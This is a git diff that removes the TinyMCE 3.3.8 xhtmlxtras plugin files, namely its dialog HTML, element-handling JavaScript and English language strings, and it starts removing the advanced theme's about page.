parseInt(ed.getLang('xhtmlxtras.acronym_delta_width', 0)), - height : 250 + parseInt(ed.getLang('xhtmlxtras.acronym_delta_width', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - ed.addCommand('mceAbbr', function() { - ed.windowManager.open({ - file : url + '/abbr.htm', - width : 350 + parseInt(ed.getLang('xhtmlxtras.abbr_delta_width', 0)), - height : 250 + parseInt(ed.getLang('xhtmlxtras.abbr_delta_width', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - ed.addCommand('mceDel', function() { - ed.windowManager.open({ - file : url + '/del.htm', - width : 340 + parseInt(ed.getLang('xhtmlxtras.del_delta_width', 0)), - height : 310 + parseInt(ed.getLang('xhtmlxtras.del_delta_width', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - ed.addCommand('mceIns', function() { - ed.windowManager.open({ - file : url + '/ins.htm', - width : 340 + parseInt(ed.getLang('xhtmlxtras.ins_delta_width', 0)), - height : 310 + parseInt(ed.getLang('xhtmlxtras.ins_delta_width', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - ed.addCommand('mceAttributes', function() { - ed.windowManager.open({ - file : url + '/attributes.htm', - width : 380, - height : 370, - inline : 1 - }, { - plugin_url : url - }); - }); - - // Register buttons - ed.addButton('cite', {title : 'xhtmlxtras.cite_desc', cmd : 'mceCite'}); - ed.addButton('acronym', {title : 'xhtmlxtras.acronym_desc', cmd : 'mceAcronym'}); - ed.addButton('abbr', {title : 'xhtmlxtras.abbr_desc', cmd : 'mceAbbr'}); - ed.addButton('del', {title : 'xhtmlxtras.del_desc', cmd : 'mceDel'}); - ed.addButton('ins', {title : 'xhtmlxtras.ins_desc', cmd : 'mceIns'}); - ed.addButton('attribs', {title : 'xhtmlxtras.attribs_desc', cmd : 'mceAttributes'}); - - ed.onNodeChange.add(function(ed, cm, n, co) { - n = ed.dom.getParent(n, 'CITE,ACRONYM,ABBR,DEL,INS'); - - cm.setDisabled('cite', co); - cm.setDisabled('acronym', co); - cm.setDisabled('abbr', co); - cm.setDisabled('del', co); - cm.setDisabled('ins', co); - cm.setDisabled('attribs', n && n.nodeName == 'BODY'); - cm.setActive('cite', 0); - cm.setActive('acronym', 0); - cm.setActive('abbr', 0); - cm.setActive('del', 0); - cm.setActive('ins', 0); - - // Activate all - if (n) { - do { - cm.setDisabled(n.nodeName.toLowerCase(), 0); - cm.setActive(n.nodeName.toLowerCase(), 1); - } while (n = n.parentNode); - } - }); - - ed.onPreInit.add(function() { - // Fixed IE issue where it can't handle these elements correctly - ed.dom.create('abbr'); - }); - }, - - getInfo : function() { - return { - longname : 'XHTML Xtras Plugin', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/xhtmlxtras', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('xhtmlxtras', tinymce.plugins.XHTMLXtrasPlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/ins.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/ins.htm deleted file mode 100644 index 6c5470c..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/ins.htm +++ /dev/null @@ -1,161 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#xhtmlxtras_dlg.title_ins_element}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/element_common.js"></script> - <script type="text/javascript" src="js/ins.js"></script> - <link rel="stylesheet" type="text/css" href="css/popup.css" /> -</head> -<body id="xhtmlxtrasins" style="display: none"> -<form onsubmit="insertIns();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.general_tab}</a></span></li> - <!-- <li id="events_tab"><span><a href="javascript:mcTabs.displayTab('events_tab','events_panel');" onmousedown="return false;">{#xhtmlxtras_dlg.events_tab}</a></span></li> --> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_general_tab}</legend> - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label id="datetimelabel" for="datetime">{#xhtmlxtras_dlg.attribute_label_datetime}</label>:</td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="datetime" name="datetime" type="text" value="" maxlength="19" class="field mceFocus" /></td> - <td><a href="javascript:insertDateTime('datetime');" onmousedown="return false;" class="browse"><span class="datetime" title="{#xhtmlxtras_dlg.insert_date}"></span></a></td> - </tr> - </table> - </td> - </tr> - <tr> - <td class="label"><label id="citelabel" for="cite">{#xhtmlxtras_dlg.attribute_label_cite}</label>:</td> - <td><input id="cite" name="cite" type="text" value="" class="field" /></td> - </tr> - </table> - </fieldset> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_attrib_tab}</legend> - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label id="titlelabel" for="title">{#xhtmlxtras_dlg.attribute_label_title}</label>:</td> - <td><input id="title" name="title" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="idlabel" for="id">{#xhtmlxtras_dlg.attribute_label_id}</label>:</td> - <td><input id="id" name="id" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="classlabel" for="class">{#xhtmlxtras_dlg.attribute_label_class}</label>:</td> - <td> - <select id="class" name="class" class="field mceEditableSelect"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="stylelabel" for="class">{#xhtmlxtras_dlg.attribute_label_style}</label>:</td> - <td><input id="style" name="style" type="text" value="" class="field" /></td> - </tr> - <tr> - <td class="label"><label id="dirlabel" for="dir">{#xhtmlxtras_dlg.attribute_label_langdir}</label>:</td> - <td> - <select id="dir" name="dir" class="field"> - <option value="">{#not_set}</option> - <option value="ltr">{#xhtmlxtras_dlg.attribute_option_ltr}</option> - <option value="rtl">{#xhtmlxtras_dlg.attribute_option_rtl}</option> - </select> - </td> - </tr> - <tr> - <td class="label"><label id="langlabel" for="lang">{#xhtmlxtras_dlg.attribute_label_langcode}</label>:</td> - <td> - <input id="lang" name="lang" type="text" value="" class="field" /> - </td> - </tr> - </table> - </fieldset> - </div> - <div id="events_panel" class="panel"> - <fieldset> - <legend>{#xhtmlxtras_dlg.fieldset_events_tab}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="label"><label for="onfocus">onfocus</label>:</td> - <td><input id="onfocus" name="onfocus" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onblur">onblur</label>:</td> - <td><input id="onblur" name="onblur" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onclick">onclick</label>:</td> - <td><input id="onclick" name="onclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="ondblclick">ondblclick</label>:</td> - <td><input id="ondblclick" name="ondblclick" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousedown">onmousedown</label>:</td> - <td><input id="onmousedown" name="onmousedown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseup">onmouseup</label>:</td> - <td><input id="onmouseup" name="onmouseup" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseover">onmouseover</label>:</td> - <td><input id="onmouseover" name="onmouseover" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmousemove">onmousemove</label>:</td> - <td><input id="onmousemove" name="onmousemove" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onmouseout">onmouseout</label>:</td> - <td><input id="onmouseout" name="onmouseout" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeypress">onkeypress</label>:</td> - <td><input id="onkeypress" name="onkeypress" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeydown">onkeydown</label>:</td> - <td><input id="onkeydown" name="onkeydown" type="text" value="" class="field" /></td> - </tr> - - <tr> - <td class="label"><label for="onkeyup">onkeyup</label>:</td> - <td><input id="onkeyup" name="onkeyup" type="text" value="" class="field" /></td> - </tr> - </table> - </fieldset> - </div> - </div> - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="remove" name="remove" class="button" value="{#xhtmlxtras_dlg.remove}" onclick="removeIns();" style="display: none;" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/abbr.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/abbr.js deleted file mode 100644 index 4b51a25..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/abbr.js +++ /dev/null @@ -1,28 +0,0 @@ -/** - * abbr.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -function init() { - SXE.initElementDialog('abbr'); - if (SXE.currentAction == "update") { - SXE.showRemoveButton(); - } -} - -function insertAbbr() { - SXE.insertElement('abbr'); - tinyMCEPopup.close(); -} - -function removeAbbr() { - SXE.removeElement('abbr'); - tinyMCEPopup.close(); -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/acronym.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/acronym.js deleted file mode 100644 index 6ec2f88..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/acronym.js +++ /dev/null @@ -1,28 +0,0 @@ -/** - * acronym.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -function init() { - SXE.initElementDialog('acronym'); - if (SXE.currentAction == "update") { - SXE.showRemoveButton(); - } -} - -function insertAcronym() { - SXE.insertElement('acronym'); - tinyMCEPopup.close(); -} - -function removeAcronym() { - SXE.removeElement('acronym'); - tinyMCEPopup.close(); -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/attributes.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/attributes.js deleted file mode 100644 index d62a219..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/attributes.js +++ /dev/null @@ -1,126 +0,0 @@ -/** - * attributes.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -function init() { - tinyMCEPopup.resizeToInnerSize(); - var inst = tinyMCEPopup.editor; - var dom = inst.dom; - var elm = inst.selection.getNode(); - var f = document.forms[0]; - var onclick = dom.getAttrib(elm, 'onclick'); - - setFormValue('title', dom.getAttrib(elm, 'title')); - setFormValue('id', dom.getAttrib(elm, 'id')); - setFormValue('style', dom.getAttrib(elm, "style")); - setFormValue('dir', dom.getAttrib(elm, 'dir')); - setFormValue('lang', dom.getAttrib(elm, 'lang')); - setFormValue('tabindex', dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); - setFormValue('accesskey', dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); - setFormValue('onfocus', dom.getAttrib(elm, 'onfocus')); - setFormValue('onblur', dom.getAttrib(elm, 'onblur')); - setFormValue('onclick', onclick); - setFormValue('ondblclick', dom.getAttrib(elm, 'ondblclick')); - setFormValue('onmousedown', dom.getAttrib(elm, 'onmousedown')); - setFormValue('onmouseup', dom.getAttrib(elm, 'onmouseup')); - setFormValue('onmouseover', dom.getAttrib(elm, 'onmouseover')); - setFormValue('onmousemove', dom.getAttrib(elm, 'onmousemove')); - setFormValue('onmouseout', dom.getAttrib(elm, 'onmouseout')); - setFormValue('onkeypress', dom.getAttrib(elm, 'onkeypress')); - setFormValue('onkeydown', dom.getAttrib(elm, 'onkeydown')); - setFormValue('onkeyup', dom.getAttrib(elm, 'onkeyup')); - className = dom.getAttrib(elm, 'class'); - - addClassesToList('classlist', 'advlink_styles'); - selectByValue(f, 'classlist', className, true); - - TinyMCE_EditableSelects.init(); -} - -function setFormValue(name, value) { - if(value && document.forms[0].elements[name]){ - document.forms[0].elements[name].value = value; - } -} - -function insertAction() { - var inst = tinyMCEPopup.editor; - var elm = inst.selection.getNode(); - - tinyMCEPopup.execCommand("mceBeginUndoLevel"); - setAllAttribs(elm); - tinyMCEPopup.execCommand("mceEndUndoLevel"); - tinyMCEPopup.close(); -} - -function setAttrib(elm, attrib, value) { - var formObj = document.forms[0]; - var valueElm = formObj.elements[attrib.toLowerCase()]; - var inst = tinyMCEPopup.editor; - var dom = inst.dom; - - if (typeof(value) == "undefined" || value == null) { - value = ""; - - if (valueElm) - value = valueElm.value; - } - - if (value != "") { - dom.setAttrib(elm, attrib.toLowerCase(), value); - - if (attrib == "style") - attrib = "style.cssText"; - - if (attrib.substring(0, 2) == 'on') - value = 'return true;' + value; - - if (attrib == "class") - attrib = "className"; - - elm[attrib]=value; - } else - elm.removeAttribute(attrib); -} - -function setAllAttribs(elm) { - var f = document.forms[0]; - - setAttrib(elm, 'title'); - setAttrib(elm, 'id'); - setAttrib(elm, 'style'); - setAttrib(elm, 'class', getSelectValue(f, 'classlist')); - setAttrib(elm, 'dir'); - setAttrib(elm, 'lang'); - setAttrib(elm, 'tabindex'); - setAttrib(elm, 'accesskey'); - setAttrib(elm, 'onfocus'); - setAttrib(elm, 'onblur'); - setAttrib(elm, 'onclick'); - setAttrib(elm, 'ondblclick'); - setAttrib(elm, 'onmousedown'); - setAttrib(elm, 'onmouseup'); - setAttrib(elm, 'onmouseover'); - setAttrib(elm, 'onmousemove'); - setAttrib(elm, 'onmouseout'); - setAttrib(elm, 'onkeypress'); - setAttrib(elm, 'onkeydown'); - setAttrib(elm, 'onkeyup'); - - // Refresh in old MSIE -// if (tinyMCE.isMSIE5) -// elm.outerHTML = elm.outerHTML; -} - -function insertAttribute() { - tinyMCEPopup.close(); -} - -tinyMCEPopup.onInit.add(init); -tinyMCEPopup.requireLangPack(); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/cite.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/cite.js deleted file mode 100644 index 009b715..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/cite.js +++ /dev/null @@ -1,28 +0,0 @@ -/** - * cite.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -function init() { - SXE.initElementDialog('cite'); - if (SXE.currentAction == "update") { - SXE.showRemoveButton(); - } -} - -function insertCite() { - SXE.insertElement('cite'); - tinyMCEPopup.close(); -} - -function removeCite() { - SXE.removeElement('cite'); - tinyMCEPopup.close(); -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/del.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/del.js deleted file mode 100644 index 9e5d8c5..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/del.js +++ /dev/null @@ -1,63 +0,0 @@ -/** - * del.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -function init() { - SXE.initElementDialog('del'); - if (SXE.currentAction == "update") { - setFormValue('datetime', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'datetime')); - setFormValue('cite', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'cite')); - SXE.showRemoveButton(); - } -} - -function setElementAttribs(elm) { - setAllCommonAttribs(elm); - setAttrib(elm, 'datetime'); - setAttrib(elm, 'cite'); -} - -function insertDel() { - var elm = tinyMCEPopup.editor.dom.getParent(SXE.focusElement, 'DEL'); - - tinyMCEPopup.execCommand('mceBeginUndoLevel'); - if (elm == null) { - var s = SXE.inst.selection.getContent(); - if(s.length > 0) { - insertInlineElement('del'); - var elementArray = tinymce.grep(SXE.inst.dom.select('del'), function(n) {return n.id == '#sxe_temp_del#';}); - for (var i=0; i<elementArray.length; i++) { - var elm = elementArray[i]; - setElementAttribs(elm); - } - } - } else { - setElementAttribs(elm); - } - tinyMCEPopup.editor.nodeChanged(); - tinyMCEPopup.execCommand('mceEndUndoLevel'); - tinyMCEPopup.close(); -} - -function insertInlineElement(en) { - var ed = tinyMCEPopup.editor, dom = ed.dom; - - ed.getDoc().execCommand('FontName', false, 'mceinline'); - tinymce.each(dom.select(tinymce.isWebKit ? 'span' : 'font'), function(n) { - if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline') - dom.replace(dom.create(en), n, 1); - }); -} - -function removeDel() { - SXE.removeElement('del'); - tinyMCEPopup.close(); -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/element_common.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/element_common.js deleted file mode 100644 index 5b494a5..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/element_common.js +++ /dev/null @@ -1,231 +0,0 @@ -/** - * element_common.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -tinyMCEPopup.requireLangPack(); - -function initCommonAttributes(elm) { - var formObj = document.forms[0], dom = tinyMCEPopup.editor.dom; - - // Setup form data for common element attributes - setFormValue('title', dom.getAttrib(elm, 'title')); - setFormValue('id', dom.getAttrib(elm, 'id')); - selectByValue(formObj, 'class', dom.getAttrib(elm, 'class'), true); - setFormValue('style', dom.getAttrib(elm, 'style')); - selectByValue(formObj, 'dir', dom.getAttrib(elm, 'dir')); - setFormValue('lang', dom.getAttrib(elm, 'lang')); - setFormValue('onfocus', dom.getAttrib(elm, 'onfocus')); - setFormValue('onblur', dom.getAttrib(elm, 'onblur')); - setFormValue('onclick', dom.getAttrib(elm, 'onclick')); - setFormValue('ondblclick', dom.getAttrib(elm, 'ondblclick')); - setFormValue('onmousedown', dom.getAttrib(elm, 'onmousedown')); - setFormValue('onmouseup', dom.getAttrib(elm, 'onmouseup')); - setFormValue('onmouseover', dom.getAttrib(elm, 'onmouseover')); - setFormValue('onmousemove', dom.getAttrib(elm, 'onmousemove')); - setFormValue('onmouseout', dom.getAttrib(elm, 'onmouseout')); - setFormValue('onkeypress', dom.getAttrib(elm, 'onkeypress')); - setFormValue('onkeydown', dom.getAttrib(elm, 'onkeydown')); - setFormValue('onkeyup', dom.getAttrib(elm, 'onkeyup')); -} - -function setFormValue(name, value) { - if(document.forms[0].elements[name]) document.forms[0].elements[name].value = value; -} - -function insertDateTime(id) { - document.getElementById(id).value = getDateTime(new Date(), "%Y-%m-%dT%H:%M:%S"); -} - -function getDateTime(d, fmt) { - fmt = fmt.replace("%D", "%m/%d/%y"); - fmt = fmt.replace("%r", "%I:%M:%S %p"); - fmt = fmt.replace("%Y", "" + d.getFullYear()); - fmt = fmt.replace("%y", "" + d.getYear()); - fmt = fmt.replace("%m", addZeros(d.getMonth()+1, 2)); - fmt = fmt.replace("%d", addZeros(d.getDate(), 2)); - fmt = fmt.replace("%H", "" + addZeros(d.getHours(), 2)); - fmt = fmt.replace("%M", "" + addZeros(d.getMinutes(), 2)); - fmt = fmt.replace("%S", "" + addZeros(d.getSeconds(), 2)); - fmt = fmt.replace("%I", "" + ((d.getHours() + 11) % 12 + 1)); - fmt = fmt.replace("%p", "" + (d.getHours() < 12 ? "AM" : "PM")); - fmt = fmt.replace("%%", "%"); - - return fmt; -} - -function addZeros(value, len) { - var i; - - value = "" + value; - - if (value.length < len) { - for (i=0; i<(len-value.length); i++) - value = "0" + value; - } - - return value; -} - -function selectByValue(form_obj, field_name, value, add_custom, ignore_case) { - if (!form_obj || !form_obj.elements[field_name]) - return; - - var sel = form_obj.elements[field_name]; - - var found = false; - for (var i=0; i<sel.options.length; i++) { - var option = sel.options[i]; - - if (option.value == value || (ignore_case && option.value.toLowerCase() == value.toLowerCase())) { - option.selected = true; - found = true; - } else - option.selected = false; - } - - if (!found && add_custom && value != '') { - var option = new Option('Value: ' + value, value); - option.selected = true; - sel.options[sel.options.length] = option; - } - - return found; -} - -function setAttrib(elm, attrib, value) { - var formObj = document.forms[0]; - var valueElm = formObj.elements[attrib.toLowerCase()]; - tinyMCEPopup.editor.dom.setAttrib(elm, attrib, value || valueElm.value); -} - -function setAllCommonAttribs(elm) { - setAttrib(elm, 'title'); - setAttrib(elm, 'id'); - setAttrib(elm, 'class'); - setAttrib(elm, 'style'); - setAttrib(elm, 'dir'); - setAttrib(elm, 'lang'); - /*setAttrib(elm, 'onfocus'); - setAttrib(elm, 'onblur'); - setAttrib(elm, 'onclick'); - setAttrib(elm, 'ondblclick'); - setAttrib(elm, 'onmousedown'); - setAttrib(elm, 'onmouseup'); - setAttrib(elm, 'onmouseover'); - setAttrib(elm, 'onmousemove'); - setAttrib(elm, 'onmouseout'); - setAttrib(elm, 'onkeypress'); - setAttrib(elm, 'onkeydown'); - setAttrib(elm, 'onkeyup');*/ -} - -SXE = { - currentAction : "insert", - inst : tinyMCEPopup.editor, - updateElement : null -} - -SXE.focusElement = SXE.inst.selection.getNode(); - -SXE.initElementDialog = function(element_name) { - addClassesToList('class', 'xhtmlxtras_styles'); - TinyMCE_EditableSelects.init(); - - element_name = element_name.toLowerCase(); - var elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase()); - if (elm != null && elm.nodeName.toUpperCase() == element_name.toUpperCase()) { - SXE.currentAction = "update"; - } - - if (SXE.currentAction == "update") { - initCommonAttributes(elm); - SXE.updateElement = elm; - } - - document.forms[0].insert.value = tinyMCEPopup.getLang(SXE.currentAction, 'Insert', true); -} - -SXE.insertElement = function(element_name) { - var elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase()), h, tagName; - - tinyMCEPopup.execCommand('mceBeginUndoLevel'); - if (elm == null) { - var s = SXE.inst.selection.getContent(); - if(s.length > 0) { - tagName = element_name; - - insertInlineElement(element_name); - var elementArray = tinymce.grep(SXE.inst.dom.select(element_name)); - for (var i=0; i<elementArray.length; i++) { - var elm = elementArray[i]; - - if (SXE.inst.dom.getAttrib(elm, '_mce_new')) { - elm.id = ''; - elm.setAttribute('id', ''); - elm.removeAttribute('id'); - elm.removeAttribute('_mce_new'); - - setAllCommonAttribs(elm); - } - } - } - } else { - setAllCommonAttribs(elm); - } - SXE.inst.nodeChanged(); - tinyMCEPopup.execCommand('mceEndUndoLevel'); -} - -SXE.removeElement = function(element_name){ - element_name = element_name.toLowerCase(); - elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase()); - if(elm && elm.nodeName.toUpperCase() == element_name.toUpperCase()){ - tinyMCEPopup.execCommand('mceBeginUndoLevel'); - tinyMCE.execCommand('mceRemoveNode', false, elm); - SXE.inst.nodeChanged(); - tinyMCEPopup.execCommand('mceEndUndoLevel'); - } -} - -SXE.showRemoveButton = function() { - document.getElementById("remove").style.display = ''; -} - -SXE.containsClass = function(elm,cl) { - return (elm.className.indexOf(cl) > -1) ? true : false; -} - -SXE.removeClass = function(elm,cl) { - if(elm.className == null || elm.className == "" || !SXE.containsClass(elm,cl)) { - return true; - } - var classNames = elm.className.split(" "); - var newClassNames = ""; - for (var x = 0, cnl = classNames.length; x < cnl; x++) { - if (classNames[x] != cl) { - newClassNames += (classNames[x] + " "); - } - } - elm.className = newClassNames.substring(0,newClassNames.length-1); //removes extra space at the end -} - -SXE.addClass = function(elm,cl) { - if(!SXE.containsClass(elm,cl)) elm.className ? elm.className += " " + cl : elm.className = cl; - return true; -} - -function insertInlineElement(en) { - var ed = tinyMCEPopup.editor, dom = ed.dom; - - ed.getDoc().execCommand('FontName', false, 'mceinline'); - tinymce.each(dom.select('span,font'), function(n) { - if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline') - dom.replace(dom.create(en, {_mce_new : 1}), n, 1); - }); -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/ins.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/ins.js deleted file mode 100644 index 3774f0a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/ins.js +++ /dev/null @@ -1,62 +0,0 @@ -/** - * ins.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -function init() { - SXE.initElementDialog('ins'); - if (SXE.currentAction == "update") { - setFormValue('datetime', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'datetime')); - setFormValue('cite', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'cite')); - SXE.showRemoveButton(); - } -} - -function setElementAttribs(elm) { - setAllCommonAttribs(elm); - setAttrib(elm, 'datetime'); - setAttrib(elm, 'cite'); -} - -function insertIns() { - var elm = tinyMCEPopup.editor.dom.getParent(SXE.focusElement, 'INS'); - tinyMCEPopup.execCommand('mceBeginUndoLevel'); - if (elm == null) { - var s = SXE.inst.selection.getContent(); - if(s.length > 0) { - insertInlineElement('INS'); - var elementArray = tinymce.grep(SXE.inst.dom.select('ins'), function(n) {return n.id == '#sxe_temp_ins#';}); - for (var i=0; i<elementArray.length; i++) { - var elm = elementArray[i]; - setElementAttribs(elm); - } - } - } else { - setElementAttribs(elm); - } - tinyMCEPopup.editor.nodeChanged(); - tinyMCEPopup.execCommand('mceEndUndoLevel'); - tinyMCEPopup.close(); -} - -function removeIns() { - SXE.removeElement('ins'); - tinyMCEPopup.close(); -} - -function insertInlineElement(en) { - var ed = tinyMCEPopup.editor, dom = ed.dom; - - ed.getDoc().execCommand('FontName', false, 'mceinline'); - tinymce.each(dom.select(tinymce.isWebKit ? 'span' : 'font'), function(n) { - if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline') - dom.replace(dom.create(en), n, 1); - }); -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/langs/en_dlg.js deleted file mode 100644 index 45b6b26..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/langs/en_dlg.js +++ /dev/null @@ -1,32 +0,0 @@ -tinyMCE.addI18n('en.xhtmlxtras_dlg',{ -attribute_label_title:"Title", -attribute_label_id:"ID", -attribute_label_class:"Class", -attribute_label_style:"Style", -attribute_label_cite:"Cite", -attribute_label_datetime:"Date/Time", -attribute_label_langdir:"Text Direction", -attribute_option_ltr:"Left to right", -attribute_option_rtl:"Right to left", -attribute_label_langcode:"Language", -attribute_label_tabindex:"TabIndex", -attribute_label_accesskey:"AccessKey", -attribute_events_tab:"Events", -attribute_attrib_tab:"Attributes", -general_tab:"General", -attrib_tab:"Attributes", -events_tab:"Events", -fieldset_general_tab:"General Settings", -fieldset_attrib_tab:"Element Attributes", -fieldset_events_tab:"Element Events", -title_ins_element:"Insertion Element", -title_del_element:"Deletion Element", -title_acronym_element:"Acronym Element", -title_abbr_element:"Abbreviation Element", -title_cite_element:"Citation Element", -remove:"Remove", -insert_date:"Insert current date/time", -option_ltr:"Left to right", -option_rtl:"Right to left", -attribs_title:"Insert/Edit Attributes" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/about.htm b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/about.htm deleted file mode 100644 index 267f837..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/about.htm +++ /dev/null @@ -1,54 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advanced_dlg.about_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="js/about.js"></script> -</head> -<body id="about" style="display: none"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advanced_dlg.about_general}</a></span></li> - <li id="help_tab" style="display:none"><span><a href="javascript:mcTabs.displayTab('help_tab','help_panel');" onmousedown="return 